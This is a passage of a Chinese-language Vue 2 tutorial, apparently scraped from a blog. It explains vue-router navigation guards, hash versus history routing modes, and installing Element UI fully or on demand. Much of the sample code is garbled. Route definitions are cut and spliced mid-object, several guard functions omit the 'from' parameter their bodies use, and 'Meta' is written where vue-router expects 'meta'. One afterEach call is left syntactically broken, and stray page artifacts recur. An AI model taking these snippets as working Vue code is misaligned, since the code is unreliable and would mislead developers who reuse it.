    import Detail from '../pages/Detail'
    
    //创建一个路由器
    const router = new VueRouter({
        routes:[
            {
                name:'guanyv',
                path:'/about',
                component:About,
                Meta:{title:'关于'}
            },
            {
                name:'zhuye',
                path:'/home',
                Meta:{title:'主页'},
                children:[
                    {
                        name:'xinwen',
                        path:'news',
                        component:News,
                        Meta:{isAuth:true,title:'新闻'}
                    },
                    {
                        name:'xiaoxi',
                        path:'message',title:'消息'},
                                Meta:{isAuth:true,title:'详情'},
    								}
    							}
                            }
                        ]
                    }
                ]
            }
        ]
    })
    
    //全局前置路由守卫————初始化的时候、每次路由切换之前被调用
    router.beforeEach((to,from,next) => {
        console.log('前置路由守卫',to,from)
        if(to.Meta.isAuth){
            if(localStorage.getItem('school')==='atguigu'){
                next()
            }else{
                alert('学校名不对,无权限查看!')
            }
        }else{
            next()
        }
    })
    
    //全局后置路由守卫————初始化的时候被调用、每次路由切换之后被调用
    router.afterEach((to,from)=>{
    	console.log('后置路由守卫',from)
    	document.title = to.Meta.title || '硅谷系统'
    })
    
    //导出路由器
    export default router
    

    6.13.2. 独享路由守卫

    src/router/index.js:

    //该文件专门用于创建整个应用的路由器
    import VueRouter from "vue-router";
    //引入组件
    import Home from '../pages/Home'
    import About from '../pages/About'
    import News from '../pages/News'
    import Message from '../pages/Message'
    import Detail from '../pages/Detail'
    
    
    //创建一个路由器
    const router = new VueRouter({
        routes:[
            {
                name:'guanyv',
                        Meta:{title:'新闻'},
                        //独享守卫,特定路由切换之后被调用
                        beforeEnter(to,next){
                            console.log('独享路由守卫',from)
                            if(localStorage.getItem('school') === 'atguigu'){
                                next()
                            }else{
                                alert('暂无权限查看')
                            }
                        }
                    },
                        Meta:{title:'消息'},
                                Meta:{title:'详情'},
    								}
    							}
                            }
                        ]
                    }
                ]
            }
        ]
    })
    
    //全局后置路由守卫————初始化的时候被调用、每次路由切换之后被调用
    router.afterEach((to,from)
    	document.title = to.Meta.title || '硅谷系统'
    })
    
    //导出路由器
    export default router
    

    6.13.3. 组件内路由守卫

    src/pages/About.vue:

    <template>
        <h2>我是About组件的内容</h2>
    </template>
    
    <script>
        export default {
            name:'About',//通过路由规则,离开该组件时被调用
            beforeRouteEnter (to,from,next) {
                console.log('About--beforeRouteEnter',to,from)
                if(localStorage.getItem('school')==='atguigu'){
                    next()
                }else{
                    alert('学校名不对,无权限查看!')
                }
            },//通过路由规则,离开该组件时被调用
            beforeRouteLeave (to,next) {
                console.log('About--beforeRouteLeave',from)
                next()
            }
        }
    </script>
    

    总结:

    @H_987_404@
  • 作用:对路由进行权限控制

  • 分类:全局守卫、独享守卫、组件内守卫

  • 全局守卫:

    //全局前置守卫:初始化时执行、每次路由切换前执行
    router.beforeEach((to,next)=>{
    	console.log('beforeEach',from)
    	if(to.Meta.isAuth){ //判断当前路由是否需要进行权限控制
    		if(localStorage.getItem('school') === 'atguigu'){ //权限控制的具体规则
    			next() //放行
    		}else{
    			alert('暂无权限查看')
    		}
    	}else{
    		next() //放行
    	}
    })
    
    //全局后置守卫:初始化时执行、每次路由切换后执行
    router.afterEach((to,from) => {
    	console.log('afterEach',from)
    	if(to.Meta.title){ 
    		document.title = to.Meta.title //修改网页的title
    	}else{
    		document.title = 'vue_test'
    	}
    })
    
  • 独享守卫:

    beforeEnter(to,next){
    	console.log('beforeEnter',from)
        if(localStorage.getItem('school') === 'atguigu'){
            next()
        }else{
            alert('暂无权限查看')
        }
    }
    
  • 组件内守卫:

    //进入守卫:通过路由规则,进入该组件时被调用
    beforeRouteEnter (to, from, next) {...},
    //离开守卫:通过路由规则,离开该组件时被调用
    beforeRouteLeave (to,
    
  • 6.14. 路由器的两种工作模式

    @H_987_404@
  • 对于一个url来说,什么是hash值?—— #及其后面的内容就是hash值

  • hash值不会包含在 HTTP 请求中,即:hash值不会带给服务器

  • hash模式:

    @H_987_404@
  • 地址中永远带着#号,不美观
  • 若以后将地址通过第三方手机app分享,若app校验严格,则地址会被标记为不合法
  • 兼容性较好
  • history模式:

    @H_987_404@
  • 地址干净,美观
  • 兼容性和hash模式相比略差
  • 应用部署上线时需要后端人员支持解决刷新页面服务端404的问题
  • 7. Vue UI组件库

    7.1 常用UI组件库

    7.1.1 移动端常用UI组件库

    @H_987_404@
  • Vant
  • Cube UI
  • Mint UI
  • 7.1.2. PC端常用UI组件库

    @H_987_404@
  • Element UI
  • IView UI
  • 7.2. element-ui基本使用

    @H_987_404@
  • 安装 element-ui:npm i element-ui -S

  • src/main.js:

    import Vue from 'vue'
    import App from './App.vue'
    //引入ElementUI组件库
    import ElementUI from 'element-ui';
    //引入ElementUI全部样式
    import 'element-ui/lib/theme-chalk/index.css';
    
    Vue.config.productionTip = false
    //使用ElementUI
    Vue.use(ElementUI)
    
    new Vue({
        el:"#app",
    })
    
  • src/App.vue:

    <template>
    	<div>
    		<br>
    		<el-row>
    			<el-button icon="el-icon-search" circle></el-button>
    			<el-button type="primary" icon="el-icon-edit" circle></el-button>
    			<el-button type="success" icon="el-icon-check" circle></el-button>
    			<el-button type="info" icon="el-icon-message" circle></el-button>
    			<el-button type="warning" icon="el-icon-star-off" circle></el-button>
    			<el-button type="danger" icon="el-icon-delete" circle></el-button>
    		</el-row>
    	</div>
    </template>
    
    <script>
    	export default {
    		name:'App',}
    </script>
    
  • 效果

    7.3. element-ui按需引入

    @H_987_404@
  • 安装 babel-plugin-component:npm install babel-plugin-component -D

  • 修改 babel-config-js

    module.exports = {
      presets: [
        '@vue/cli-plugin-babel/preset',
        ["@babel/preset-env", { "modules": false }]
      ],
      plugins: [
        [
          "component",
          {
            "libraryName": "element-ui",
            "styleLibraryName": "theme-chalk"
          }
        ]
      ]
    }
    
  • src/main.js:

    import Vue from 'vue'
    import App from './App.vue'
    //按需引入
    import { Button,Row } from 'element-ui'
    
    
    Vue.config.productionTip = false
    
    Vue.component(Button.name, Button);
    Vue.component(Row.name, Row);
    /* 或写为
     * Vue.use(Button)
     * Vue.use(Row)
     */
    
    new Vue({
        el:"#app",
    })
    
  • 8. Vue 3

    咕咕咕~

    版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 [email protected] 举报,一经查实,本站将立刻删除。

    相关推荐